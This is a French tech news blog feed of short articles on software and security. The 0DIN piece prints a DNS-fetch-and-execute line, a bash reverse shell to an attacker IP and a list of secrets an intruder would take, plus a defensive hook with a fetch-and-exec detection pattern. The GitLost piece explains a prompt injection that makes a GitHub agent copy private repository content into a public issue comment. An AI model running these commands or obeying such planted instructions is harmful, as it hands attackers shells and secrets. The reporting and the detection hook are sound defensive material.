Et ça se monte tout seul puisque le README de Trinity dit simplement ceci : "*Compilez en utilisant le fichier CMakeLists.txt fourni à la racine du dépôt. *".

Un moteur de rendu avec 20 ans de production dans les pattes et pas une seule dépendance planquée, c'est fou.

Par contre, Destiny, lui, c'est le meuble en kit livré sans le sachet de vis. Son README prévient : "Pour compiler la bibliothèque, vous devez avoir accès à Perforce, car c'est là que se trouvent certaines de nos dépendances."

Pour vous la faire courte, chez vous, ça ne compilera pas, donc.

Car le 8 juillet, un développeur a ouvert l'issue #5 pour demander gentiment la liste des dépendances liées à Perforce et jusqu'à aujourd'hui, c'est resté sans réponse. Donc non, vous ne monterez pas votre serveur EVE privé ce week-end car l'économie du jeu et l'infrastructure serveur ne sont pas dans les cartons.

Alors pourquoi maintenant ??? Eh bien en mai, le studio a repris son indépendance en se rachetant 120 millions de dollars à Pearl Abyss, et il prépare EVE Frontier, un MMO de survie spatiale qu'il annonce "personnalisable, adapté au joueur". Donc "ouvrir la maison", ça prépare le terrain...

En tout cas, je trouve que ça nous change des jeux qu'on libère une fois morts, comme Arma Cold War Assault, dont Bohemia a ouvert le code pour ses 25 ans . Et vu ce que les moddeurs sortent sans même avoir le code ( un type a collé un mode multijoueur dans le Witcher 3 , j'vous rappelle ^^), avec les sources sous la main ça va être drôle.

Merci Emmanuel pour le lien !

Source

GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visiblement publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/gitlost-github-agent-ia-fuite-depots-prives/gitlost-github-agent-ia-fuite-depots-prives-1.mp4">lien vers la vidéo</a>.

Un ESP32 à quelques euros pour éviter le clavier Touch ID d'Apple

Posez votre doigt sur un capteur et hop, votre session s'ouvre. Sur un Mac, ce petit confort passe par exemple par le Magic Keyboard avec Touch ID (lien affilié) parce qu'Apple réserve la biométrie à son propre matériel. Mais le bidouilleur Zimeng Xiong a trouvé ça un peu chéros, alors il a bricolé la même chose avec un ESP32-S3 à quelques euros .

Le tout tient dans un boîtier imprimé en 3D contenant un capteur d'empreinte ZW101 qui lit votre doigt, et une carte ESP32-S3 (une Seeed Studio XIAO - lien affilié) qui se fait passer pour un clavier USB. Ensuite, si l'empreinte correspond, elle tape votre mot de passe suivi d'Entrée. Vu de l'ordinateur, l'engin n'est qu'un clavier qui tape à votre place, et n'est donc liée à aucun système d'exploitation en particulier.

Le truc bien pensé je trouve, c'est que le mot de passe ne vit jamais sur l'ESP. La carte ne garde qu'une clé d'appairage de 32 octets et le mot de passe, lui, reste sur l'ordinateur, conservé par un petit service que vous installez.

Quand vous posez le doigt, l'ESP réclame ce mot de passe via un échange chiffré, avec une clé d'appairage partagée et un nonce aléatoire pour bloquer les rejeux, le déchiffre en mémoire vive le temps de le taper, puis efface tout en quelques millisecondes. Il compte aussi sur le Secure Boot et le Flash Encryption de l'ESP32-S3 pour qu'un dump de la puce ne livre aucune clé.

Après, histoire d'être transparent avec vous, sachez que le seul maillon faible de ce gadget se situe entre le capteur et l'ESP car la liaison série n'est pas protégée. Toute la vérification de l'empreinte se passe dans le capteur, pas dans le microcontrôleur, donc quelqu'un qui aurait accès à votre machine et au boîtier en même temps pourrait usurper le capteur et forcer l'envoi du mot de passe. La parade de Zimeng c'est donc de noyer toute l'électronique dans de l'epoxy noir.

Sous Windows, vous branchez un lecteur d'empreinte USB et Windows Hello fait le reste, c'est plutôt simple. Apple par contre verrouille un peu plus le truc, donc il faudra installer le logiciel compagnon. Et Zimeng Xiong ne compte pas s'arrêter là, puisqu'il annonce une version qui émule une carte à puce, pour se connecter sans jamais taper de mot de passe, comme le font déjà les passkeys . Là, on serait un cran au dessus en matière de sécurité.

Le code est public sur GitHub si vous voulez tenter le montage. Rien de prêt pour la production évidemment, mais une chouette démonstration qu'avec un ESP32 et un peu de crypto, on peut faire de jolies choses.

Source

Un dépôt GitHub trop propre suffit à pirater Claude Code

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Steam Controller - elle rampe toute seule vers son chargeur

Il y a des problèmes qui n'existent pas, et des gens qui les résolvent quand même... Ray Foss en fait partie. Ce dernier a fait en sorte que sa Steam Controller flambant neuve rampe toute seule jusqu'à son chargeur, sans qu'il ait à lever le petit doigt. Et pour cela, il a codé son Triton Auto-Charge Vision Tracker qui tourne entièrement dans le navigateur et qui est utilisable par tous !

Le principe est bien tordu... Vous collez une webcam au-dessus de votre bureau, vous ouvrez la page, et vous cliquez sur trois points à l'écran : le palet de charge, l'avant de la manette, l'arrière. À partir de là, la vision par ordinateur suit la manette en temps réel pendant que le code pilote ses deux petits moteurs de vibration internes.

Petit rappel si vous aviez hiberné, Valve a ressorti sa Steam Controller en mai dernier, des années après avoir lâché la première. Elle se recharge sur un palet magnétique, et c'est pile poil cette dernière étape que Foss a automatisée. La Steam Controller, c'est aussi la manette dans laquelle Valve a planqué un cri Wilhelm , et visiblement elle attire les bidouilleurs.

En pulsant ces moteurs de façon asymétrique, autour de 70 Hz, la page fait littéralement ramper la manette sur le bureau et la réoriente petit à petit vers le palet. C'est le principe de ces bristlebots faits avec une brosse à dents et un moteur vibreur de téléphone, sauf qu'ici les moteurs étaient prévus pour faire vibrer la manette dans vos jeux, et surement pas pour la balader sur le bureau...

Pas d'install, pas de pilote à régler non plus, c'est la page qui se connecte directement à la manette via WebHID, la même techno qui permet déjà de tester son matos gaming dans le navigateur , à condition d'être sur Chrome ou Edge parce que Firefox et Safari boudent toujours cette API.

L'interface de l'outil, avec les points de repère à placer sur la manette et le palet.

Au passage, elle lit la batterie de la manette et vous affiche le pourcentage et même le voltage de la cellule, histoire de confirmer que le contact magnétique se fait bien.

Foss a aussi prévu un mode approche en douceur qui réduit de moitié la fréquence des vibrations quand la manette arrive tout près du palet, pour qu'elle se pose dedans au lieu de le percuter. Enfin, en théorie, parce qu'il prévient lui-même que l'amarrage n'est pas garanti.

La vraie limite du truc, c'est que le calage des points de repère reste assez pénible à faire.

Ça ne sert strictement à rien, mais c'est marrant. Le projet est en open source sur GitHub si vous voulez tenter le coup chez vous.

Source

BioPass - Déverrouiller son Linux avec sa tronche et son doigt

Contrairement à ce que dit Yann Barthès, on n'est pas tous égaux face à la canicule. Et l'autre truc face auquel on n'est pas tous égaux non plus, c'est le déverrouillage biométrique de son ordi. On les connaît les Linuxiens qui regardent avec jalousie leur collègue sous Windows qui déverrouille sa machine d'un simple coup d'œil à la webcam. Eux, ils sont obligés de taper leur mot de passe de 56 caractères et ça leur fout la rage, alors ils vont sur Reddit pour dire du mal de tous ceux qui n'ont pas de restes de frites collés dans la barbe.

Mais je vais apaiser cette haine en vous parlant aujourd'hui de BioPass , un projet open source signé thaitran24 et phucvinh57, deux devs réunis sous la bannière TickLabVN.

Ce qu'ils veulent faire, c'est amener enfin sous Linux l'équivalent de Windows Hello. BioPass vous connecte à votre session, à un sudo ou à tout service qui passe par PAM avec votre visage ET votre empreinte digitale.

Jusqu'ici la référence sur Linux c'était Howdy , qui fait du visage uniquement, en ligne de commande, et que les développeurs eux-mêmes décrivent comme un peu à l'abandon (sur openSUSE le paquet n'est carrément plus maintenu). C'était chiant à configurer en plus, alors que BioPass lui, propose une vraie interface graphique pour gérer tout ça.

Le module qui parle à PAM est écrit en C++17 et fait tourner trois modèles en local via ONNX Runtime : YOLO pour détecter le visage, EdgeFace pour le reconnaître, et MobileNetV3 pour l'anti-spoofing. Les devs ont d'ailleurs viré les grosses dépendances type PyTorch et OpenCV au profit d'ONNX, histoire de garder un truc léger.

Au moment où votre OS réclame une authentification, BioPass le voit et démarre un processus isolé nommé biopass-helper qui s'occupe de la capture de votre minois et de l'inférence derrière pour vous reconnaître.

Et puis surtout, le point qui compte vraiment quand on parle biométrie c'est que tout reste en local. Y'a vraiment aucune empreinte de votre doigt ou cartographie de nos tronches de cakes qui partent faire du tourisme chez AWS ou Azure.

BioPass gère bien la détection de fausse présence avec une caméra infrarouge (supportée depuis la version 1.1), et la dernière mouture exige même que toutes les méthodes anti-spoofing activées valident, mais sans caméra IR, en se reposant sur le seul modèle d'IA, un visage peut potentiellement se laisser amadouer par une photo bien placée.

Ça reste le talon d'Achille classique de la biométrie, et on a déjà vu pire ailleurs, genre Windows Hello dont le visage devenait copiable sur une clé USB , ou ce laptop Dell qu'on déverrouillait avec un oignon , donc prenez-le plutôt comme un outil de confort plutôt que pour quelque chose qui renforce la sécu de votre Linux.

Pour tester, il y a des paquets .deb et .rpm sur les releases GitHub, et un paquet AUR biopass-bin pour les gens sous Arch. Ah et il vous faudra un capteur d'empreintes pour la partie doigt. Une webcam classique suffit pour la reconnaissance faciale, mais sans caméra infrarouge l'anti-spoofing reste encore une fois, fragile donc gardez ça en tête.

Le projet est sous licence MIT, et la prochaine grosse étape annoncée c'est carrément l'authentification vocale.

Des listes de cybercriminels à télécharger

Si vous faites un peu de renseignements (OSINT) et que ce que vous cherchez, c'est des pseudos de cybercriminels, spmedia a un truc qui devrait vous plaire. Son repo GitHub Threat-Actor-Usernames-Scrape rassemble environ 773 000 pseudos uniques récupérés sur des forums de cybercriminels. C'est gratuit, en accès libre. Et ça peut vous faire gagner pas mal de temps si vous faites de l' OSINT .

Son délire, c'est de scraper les sections "Who's Online", les threads et les réponses de forums comme HackForums, DarkForums, BreachForums, XSS.pro, Dread, OGUsers et une vingtaine d'autres, ou de récupérer des extraits de fuites. L'intérêt de ce genre de truc, c'est de capter ces données pour ensuite les réutiliser dans vos propres projets. Ça vous permet par exemple de préparer un fichier texte propre par forum, qui est prêt à être ingéré dans un TIP (Threat Intelligence Platform) ou croisé avec vos données.

Au total, y'a environ 820 000 noms d'utilisateurs dans ce repo, dont ~46 000 en double. Les plus gros forums actifs sont Cracked.sh (~226 000 pseudos collectés), DarkForums.su (~75 000) et Altenen.is (~74 000). Côté forums morts, BreachForums.st domine avec ~57 000 entrées, devant la fuite Nulled (~42 000) et BreachForums.as (~39 000).

Il y a de quoi fouiller, quoi...

Spmedia a monté ce projet parce qu'il en avait marre des boîtes de threat intel qui facturent 5 à 6 chiffres par an pour accéder au même genre de données. On peut donc lui dire merci, même si ça ne remplace pas un vrai service CTI avec contexte et analyse. C'est juste des noms d'utilisateur sans autre enrichissement. Faudra donc croiser ça avec d'autres sources mais pour du pistage de pseudo ou une wordlist ciblée, ça peut aider.

Vous pouvez par exemple utiliser ces listes pour repérer un même pseudo sur plusieurs forums, constituer des wordlists ou simplement suivre quels sites ressortent après un takedown. Certains disparaissent, d'autres reviennent 48h plus tard sous un nouveau TLD (ambiance hydre de lerne, quoi).

Chaque fichier contient un pseudo par ligne et l'import dans un SIEM ou un script Python vous prendra 2 minutes. N'oubliez pas non plus qu'une bonne partie de ces comptes sont des kiddies ou des curieux, donc croisez toujours avec d'autres sources avant de pointer du doigt qui que ce soit...

Bref, si la chasse aux cybercriminels vous branche, vous pouvez récupérer les listes sur GitHub et voir ce que ça donne.

Amusez-vous bien !

Grasp - Et si votre code ne dépendait plus d'une boîte ?

Grasp , c'est une alternative décentralisée à GitHub, signée DanConwayDev, le dev derrière ngit. Ça carbure à Nostr , le protocole décentralisé de fiatjaf, et l'idée avec ce truc, c'est que votre identité de dev, ce n'est plus un compte avec un email et un mot de passe, mais juste une paire de clés cryptographiques qui ne dépend de personne. Vous publiez votre code depuis le terminal, sans avoir à vous inscrire nulle part et pi c'est tout !

Vous me connaissez, j'adore fureter à la recherche de petits outils cools à partager avec vous, et niveau décentralisation, celui-là vaut le détour. Pour tester, ça se passe avec l'outil nak . Vous créez votre dépôt, vous le synchronisez, vous poussez comme ceci :

nak git init --owner <votre-clé-npub> --identifier mon-projet --name "Mon Super Projet" --description "Mon premier repo Grasp"
nak git sync
nak git push

Pour cloner le dépôt de quelqu'un d'autre, c'est nak git clone <npub-du-maintainer>/mon-projet, et pour lui envoyer un patch, nak git patch send HEAD^. Pas de fork ni de pull request à remplir dans une interface pour contribuer au code des autres... C'est beau non ?

Derrière, tout repose sur Nostr et sa spec NIP-34 qui transforme un dépôt, une issue ou un patch en messages signés que n'importe quel serveur peut relayer. Du coup chaque état de votre code est signé par votre clé, et comme ça, vos dépôts migrent d'un serveur à l'autre sans rien perdre. Impecc si vous ne faites pas confiance aux hébergeurs.

La vraie différence avec un Forgejo ou un Gitea que vous auto-hébergez, c'est donc que vous ne créez pas un compte sur chaque instance. Votre identité Nostr vous suit partout, une seule clé pour tous les serveurs ! À ne pas confondre par contre avec Radicle , qui fait du P2P local-first avec son propre protocole gossip et Git en natif (et pas sur IPFS, contrairement à ce qu'on lit souvent, le vrai GitHub-sur-IPFS ce serait plutôt GitLike ).

Grasp, lui, parie sur l'interopérabilité : plusieurs clients, plusieurs serveurs, un seul standard, et tout communique.

Et l'écosystème est déjà bien debout avec ngit-grasp comme serveur de référence, pyramid pour gérer une communauté, viewsource.win pour visualiser le code dans le navigateur, et gitworkshop.dev pour une interface complète façon GitHub.

Maintenant ce n'est pas non plus la solution miracle, car c'est encore un peu trop jeune à mon goût... Mais c'est à tester car le jour où l'un de ces frontends web deviendra vraiment carré et grand public, il pourrait bien venir taquiner GitHub, et ça, c'est plutôt une bonne nouvelle...

Git 2.55 active Rust par défaut, et la fin du tout-C est déjà programmée

Vingt et un ans après sa création par Linus Torvalds, Git amorce pour de bon son changement de langage. La première version de test de Git 2.55, publiée hier, active par défaut le code Rust dans le gestionnaire de versions le plus utilisé au monde, celui qui héberge l'historique d'à peu près tous les projets logiciels de la planète.

Jusqu'ici, il fallait réclamer explicitement le Rust au moment de compiler le logiciel, c'est-à-dire de le fabriquer à partir de son code source, via une option baptisée WITH_RUST ou via le système de build Meson. Git 2.55 inverse la logique : le Rust est désormais supposé présent, et c'est pour s'en passer qu'il faut lever la main, avec une nouvelle option NO_RUST.

Pour situer, Rust est un langage de programmation conçu pour éliminer toute une famille de bugs mémoire, ceux-là mêmes qui font le bonheur des pirates depuis quarante ans. Git, lui, est écrit en C depuis 2005, un langage qui laisse au développeur l'entière responsabilité de ne pas se tirer une balle dans le pied.

Le chantier ne date pas d'hier. L'an dernier, Patrick Steinhardt, un des mainteneurs du projet, proposait d'introduire Rust dans le cœur de Git et d'en faire à terme une dépendance obligatoire pour fabriquer l'outil.

Git 2.52 avait franchi le premier pas fin 2025 en convertissant un petit module, varint.c, chargé de décoder des entiers à taille variable. Du code volontairement modeste : l'idée était de roder la chaîne de compilation, pas de réécrire Git.

Avec la 2.55, le rythme change. L'équipe prépare d'ailleurs le portage de xdiff, le moteur qui calcule les différences entre deux versions d'un fichier, autrement dit le cœur du métier de Git.

Et le calendrier est déjà là : à partir de Git 3.0, Rust sera obligatoire, sans aucune possibilité de le désactiver. Aucune échappatoire. L'option NO_RUST de la 2.55 n'est donc qu'un sursis.

Pour vous, rien ne change : les binaires fournis par votre distribution Linux, par Apple ou par GitHub arrivent déjà compilés. Ce sont les empaqueteurs et les plateformes un peu spéciales qui vont devoir installer la chaîne d'outils Rust.

Sauf que voilà, tout le monde n'a pas un compilateur Rust sous la main. La proposition de Steinhardt avait déclenché de longs débats autour des plateformes exotiques, comme les serveurs NonStop de HPE ou certains vieux Unix, où Rust ne tourne tout simplement pas aujourd'hui. Le projet compte sur les progrès de gccrs, le support Rust en cours d'intégration dans GCC, le compilateur historique du monde libre, pour boucher ces trous avant l'échéance.

Le reste de la version est plus classique, avec des optimisations, des corrections de bugs et de petites améliorations sur différentes sous-commandes, détaillées dans l'annonce de Junio Hamano, le mainteneur en chef du projet.

Voir Git, monument du C, basculer sur Rust par défaut, c'est le signe le plus clair que le vieux langage perd du terrain.

Source : Phoronix

GitHub désactive 73 dépôts Microsoft en 105 secondes pour stopper le ver Miasma

GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma.

Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils.

Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au passage quelques fichiers de configuration. Anodin, en apparence.

Sauf que ces fichiers déclenchaient une exécution de code à distance, autrement dit l'attaquant faisait tourner son propre code sur votre machine, dès l'instant où vous ouvriez le dépôt dans un éditeur. Et pas n'importe lesquels : les assistants de codage dopés à l'IA étaient explicitement visés, Claude Code, Gemini CLI et Cursor en tête. Objectif, siphonner les secrets d'accès au cloud et les configurations des outils de développement, surtout sous Linux.

La purge a frappé quatre organisations GitHub de Microsoft d'un coup : toute l'org Azure Functions, l'ensemble de la famille Durable Task, et une série d'applications-exemples destinées à l'IA.

Problème, parmi les dépôts désactivés se trouvait Azure/functions-action, une brique que des milliers de projets appellent dans leurs chaînes d'automatisation, celles qui compilent et déploient le code sans intervention manuelle. Du coup, dès que functions-action@v1 a cessé de répondre, des pipelines entiers se sont effondrés en cascade, bien au-delà des serveurs de Microsoft.

Ce n'est pas la première sortie de Miasma. Le 19 mai, le ver visait déjà le paquet durabletask sur PyPI, le dépôt public où les développeurs Python piochent leurs briques de code : trois versions vérolées y ont été publiées en 35 minutes. Le 3 juin, c'est plus de 50 paquets npm, l'équivalent côté JavaScript, qui passaient à la moulinette.

Le retour sur durabletask interroge. Pour Ashish Kurmi, directeur technique de la société de sécurité StepSecurity, les jetons d'accès du compte développeur déjà compromis lors de l'attaque sur PyPI n'avaient visiblement pas tous été révoqués. La même porte est restée grande ouverte.

Côté filiation, l'éditeur de sécurité Snyk décrit Miasma comme un descendant de Mini Shai Hulud, un ver revendiqué par le groupe cybercriminel TeamPCP, qui a ensuite gentiment publié son code en open source. Microsoft, de son côté, n'a pas répondu aux sollicitations de la presse.

Bref, un seul commit, et c'est tout un pan de l'infrastructure des développeurs qui tremble.

Source : The Register

Rsync, le logiciel de sauvegarde culte sous Linux, mis à jour avec de l'IA et ça déclenche une vraie colère

rsync vient de sortir sa version 3.4.3, un correctif censé boucher plusieurs trous de sécurité. Sauf que pour une partie des utilisateurs, leurs sauvegardes incrémentales se sont mises à mal fonctionner juste après la mise à jour.

En fouillant le code, certains ont remarqué un détail qui ne leur a pas plu. Depuis la version 3.4.1, des dizaines de modifications (des "commits", les unités de changement de code) sont signées "tridge and claude". Comprendre Andrew Tridgell, le créateur historique de rsync, et Claude, l'assistant IA d'Anthropic, le concurrent direct d'OpenAI.

Pour situer, rsync est un outil de synchronisation et de sauvegarde de fichiers qui tourne sur les serveurs Unix et Linux depuis les années 90. Une brique discrète mais utilisée par d'innombrables entreprises, hébergeurs et services informatiques. Quand il déraille, ce sont des sauvegardes entières qui sautent.

D'où la réaction épidermique. Sur GitHub, la plateforme où vit le code source, quelqu'un a ouvert un message au titre sans équivoque, "Please Do Not Vibe Fuck Up This Software". En clair, prière de ne pas bousiller ce logiciel à coups de "vibe coding", cette mode qui consiste à confier des bouts de code à une IA et à faire confiance au résultat sans trop vérifier.

Tridgell a reconnu les régressions. Elles touchent surtout des configurations bien précises, le mode serveur avec l'option chroot désactivée, qu'il décrit comme des "cas d'usage valides mais inhabituels" que la suite de tests du projet ne couvrait tout simplement pas.

Sauf que voilà, il refuse l'étiquette du développeur qui aurait bâclé. "Je n'ai pas juste vibe-codé la conversion de la suite de tests en Python. Je suis un ingénieur logiciel avec 40 ans d'expérience", a-t-il écrit dans un billet intitulé "rsync and outrage".

Concrètement, l'IA a surtout servi à réécrire la vieille batterie de tests, jusque-là en scripts shell, vers le langage Python, pour pouvoir mieux vérifier la sécurité du code. Un travail de fond fastidieux.

Tridgell affirme avoir conçu lui-même l'architecture du nouveau système, utilisé Claude mais aussi Codex d'OpenAI et Gemini de Google pour abattre le gros du débroussaillage répétitif, puis relu et validé chaque ligne produite à la main.

Et il n'a aucune intention d'arrêter. Une version 3.4.4 pourrait corriger les régressions, à moins qu'il ne passe directement à la 3.5, plus ambitieuse côté sécurité. Avec les mêmes outils IA.

Au passage, il rappelle un truc que les mainteneurs de logiciels libres vivent au quotidien, ils croulent sous les signalements de failles de sécurité, dont une bonne partie sont eux-mêmes pondus par des IA. L'IA crée la charge et propose dans la foulée de la résorber.

Source : The Register

Soft Serve - Le serveur Git auto-hébergé dans le terminal

Monter son propre serveur Git, ça rime souvent avec déployer une usine à gaz bourrée d'options qu'on n'utilisera jamais. Heureusement, Soft Serve prend le contre-pied total de tout ça ! Ce serveur Git self-hosted de charmbracelet (la bande derrière Bubble Tea, Glow, Freeze et Gum) fait sa vie dans le terminal et se pilote via SSH.

Un coup de brew install charmbracelet/tap/soft-serve (ou Docker, ou go install), vous lancez soft serve et hop, vous voilà avec un serveur Git complet qui tourne grâce à un seul binaire. Pour parcourir vos dépôts, pas besoin de navigateur, vous vous connectez juste en SSH et une petite interface en mode texte s'ouvre direct dans votre terminal. Genre ssh git.chezvous.net, et vous voilà en train de naviguer dans l'arborescence, lire les fichiers avec coloration syntaxique, fouiller les commits. Le tout sans quitter le shell !

Créer un dépôt, ça se fait en une ligne :

ssh -p 23231 localhost repo create mon-projet

git remote add origin ssh://localhost:23231/mon-projet
git push origin main

Bambu Lab épinglé pour violation de licence open source depuis quatre ans

C'est la Software Freedom Conservancy (SFC), l'ONG américaine qui défend les licences libres, qui a sorti l'affaire. Bambu Lab, l'un des plus gros fabricants d'imprimantes 3D grand public du moment, viole l'AGPLv3 depuis environ quatre ans selon l'organisation. Pas qu'un peu donc.

Pour comprendre l'histoire, il faut savoir que Bambu Studio, le slicer maison de la marque (c'est le logiciel qui transforme un modèle 3D en instructions de découpage pour l'imprimante), est en réalité un dérivé de PrusaSlicer, lui-même basé sur Slic3r.

Les deux sont sous licence AGPLv3, ce qui oblige toute boîte qui distribue un logiciel dérivé à publier son code source dans la même licence. Du coup, Bambu Studio aurait dû suivre les mêmes règles depuis le début.

Sauf que voilà, le SFC pointe deux violations très claires. D'abord, une bibliothèque maison appelée libbambu_networking, qui gère toute la communication entre le slicer et les serveurs cloud de Bambu, n'a jamais vu son code publié. La marque reconnaît même son existence dans son propre README sur GitHub. Pire encore, quand le développeur Paweł Jarczak a sorti une version modifiée d'OrcaSlicer (un fork concurrent, c'est-à-dire une copie communautaire améliorée) qui restaurait certaines fonctions cloud bloquées par Bambu, l'entreprise lui a envoyé une mise en demeure pour faire retirer son projet.

C'est la deuxième violation selon le SFC, parce que l'AGPLv3 interdit explicitement d'ajouter des restrictions supplémentaires à ce que la licence autorise. En clair, Bambu n'a pas le droit d'invoquer ses conditions d'utilisation pour empêcher quelqu'un d'exercer les droits que la licence donne. 

Côté riposte, le SFC a lancé un projet baptisé baltobu. Trois objectifs : refaire la fameuse bibliothèque à partir de zéro par reverse-engineering (démonter le code propriétaire pour le réécrire proprement), maintenir le fork OrcaSlicer de Jarczak, et créer un remplaçant complet de Bambu Studio. Une levée de fonds visant 250 007 dollars, ouverte jusqu'au 17 juillet, a déjà atteint son premier objectif pour financer des employés à ce travail sur le long terme. Si la cagnotte va au bout, de nouveaux employés pourront rejoindre le projet.

Bambu Lab a réagi du bout des lèvres. L'entreprise a publié un message reconnaissant que sa référence à des conditions d'utilisation et à une potentielle mise en demeure ait pu être perçue comme une menace légale, ce qu'elle regrette. Pas de modification réelle de la pratique pour autant. La bibliothèque reste fermée, et les pratiques cloud restent les mêmes.

Bref, une marque grand public qui surfe sur les briques open source sans en respecter les règles, ça finit toujours par se voir.

Source : Itsfoss

HydroTracker - L'app Android qui vous hydrate

HydroTracker, c'est une app Android open source pour suivre votre consommation d'eau au quotidien. C'est sans pub, ça fonctionne hors-ligne et ça a été mis au point par Ali Cem Çakmak, physicien et développeur passionné !

L'écran d'accueil d'HydroTracker, sobre et lisible

